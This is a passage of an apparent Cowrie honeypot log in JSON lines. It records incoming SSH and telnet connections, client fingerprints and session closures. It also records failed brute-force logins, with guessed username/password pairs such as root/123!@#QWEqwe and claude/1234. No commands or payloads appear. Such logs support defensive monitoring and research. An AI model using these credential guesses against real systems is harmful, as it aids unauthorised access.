256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:40.714856Z","src_ip":"117.121.214.50","session":"32239fdf37dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51596,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd7702292bd0","protocol":"ssh","message":"New connection: 91.92.40.171:51596 (159.203.135.109:22) [session: fd7702292bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:40.826548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:41.029887Z","src_ip":"91.92.40.171","session":"fd7702292bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:41.032929Z","src_ip":"91.92.40.171","session":"fd7702292bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"p@ssw0rd","message":"login attempt [labuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:41.641817Z","src_ip":"91.92.40.171","session":"fd7702292bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWEqwe","message":"login attempt [root/123!@#QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:41.722603Z","src_ip":"117.121.214.50","session":"32239fdf37dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:42.437213Z","src_ip":"91.92.40.171","session":"a1d78557bfa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:42.882227Z","src_ip":"91.92.40.171","session":"fd7702292bd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:42.969006Z","src_ip":"117.121.214.50","session":"32239fdf37dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42806,"dst_ip":"159.203.135.109","dst_port":22,"session":"68da46f7a7d9","protocol":"ssh","message":"New connection: 91.92.42.133:42806 (159.203.135.109:22) [session: 68da46f7a7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:43.755911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:44.127382Z","src_ip":"91.92.42.133","session":"68da46f7a7d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:44.129640Z","src_ip":"91.92.42.133","session":"68da46f7a7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:44.668751Z","src_ip":"91.92.40.171","session":"a1d78557bfa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:46.454901Z","src_ip":"91.92.42.133","session":"68da46f7a7d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42578,"dst_ip":"159.203.135.109","dst_port":22,"session":"f653c78f4a25","protocol":"ssh","message":"New connection: 91.92.40.171:42578 (159.203.135.109:22) [session: f653c78f4a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:46.681868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:47.148353Z","src_ip":"91.92.40.171","session":"f653c78f4a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:47.151230Z","src_ip":"91.92.40.171","session":"f653c78f4a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.05063033103943,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:47.441314Z","src_ip":"128.199.8.54","session":"1941433fc371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":44920,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0efe0efdd7e","protocol":"ssh","message":"New connection: 109.237.96.109:44920 (159.203.135.109:22) [session: c0efe0efdd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:47.775157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:47.779304Z","src_ip":"109.237.96.109","session":"c0efe0efdd7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:47.872976Z","src_ip":"109.237.96.109","session":"c0efe0efdd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:47.983258Z","src_ip":"91.92.42.133","session":"68da46f7a7d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:48.131882Z","src_ip":"91.92.40.171","session":"f653c78f4a25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231279","message":"login attempt [root/231279] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:48.156946Z","src_ip":"109.237.96.109","session":"c0efe0efdd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:49.252342Z","src_ip":"109.237.96.109","session":"c0efe0efdd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:49.326440Z","src_ip":"91.92.40.171","session":"f653c78f4a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43276,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa95d0f632ca","protocol":"ssh","message":"New connection: 91.92.42.133:43276 (159.203.135.109:22) [session: fa95d0f632ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:50.517566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:51.122103Z","src_ip":"91.92.42.133","session":"fa95d0f632ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:51.125292Z","src_ip":"91.92.42.133","session":"fa95d0f632ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42618,"dst_ip":"159.203.135.109","dst_port":22,"session":"362130eaa8e5","protocol":"ssh","message":"New connection: 91.92.40.171:42618 (159.203.135.109:22) [session: 362130eaa8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:53.161796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:53.205857Z","src_ip":"91.92.40.171","session":"362130eaa8e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:53.310466Z","src_ip":"91.92.40.171","session":"362130eaa8e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modzmodz","message":"login attempt [root/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:53.805119Z","src_ip":"91.92.42.133","session":"fa95d0f632ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:53.938667Z","src_ip":"91.92.40.171","session":"362130eaa8e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53282,"dst_ip":"159.203.135.109","dst_port":23,"session":"a68e736b3026","protocol":"telnet","message":"New connection: 128.199.8.54:53282 (159.203.135.109:23) [session: a68e736b3026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:54.304513Z"}
{"eventid":"cowrie.session.closed","duration":0.004079341888427734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:54.308375Z","src_ip":"128.199.8.54","session":"a68e736b3026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:55.070395Z","src_ip":"91.92.40.171","session":"362130eaa8e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:55.516081Z","src_ip":"91.92.42.133","session":"fa95d0f632ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9240150abfa","protocol":"ssh","message":"New connection: 91.92.42.133:51862 (159.203.135.109:22) [session: b9240150abfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:57.711324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:58.358096Z","src_ip":"91.92.42.133","session":"b9240150abfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:58.363926Z","src_ip":"91.92.42.133","session":"b9240150abfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35124,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd8b5b5a0558","protocol":"ssh","message":"New connection: 91.92.40.171:35124 (159.203.135.109:22) [session: fd8b5b5a0558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:00.865779Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1234","message":"login attempt [claude/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:02.643143Z","src_ip":"91.92.42.133","session":"b9240150abfa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:02.694883Z","src_ip":"91.92.40.171","session":"fd8b5b5a0558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 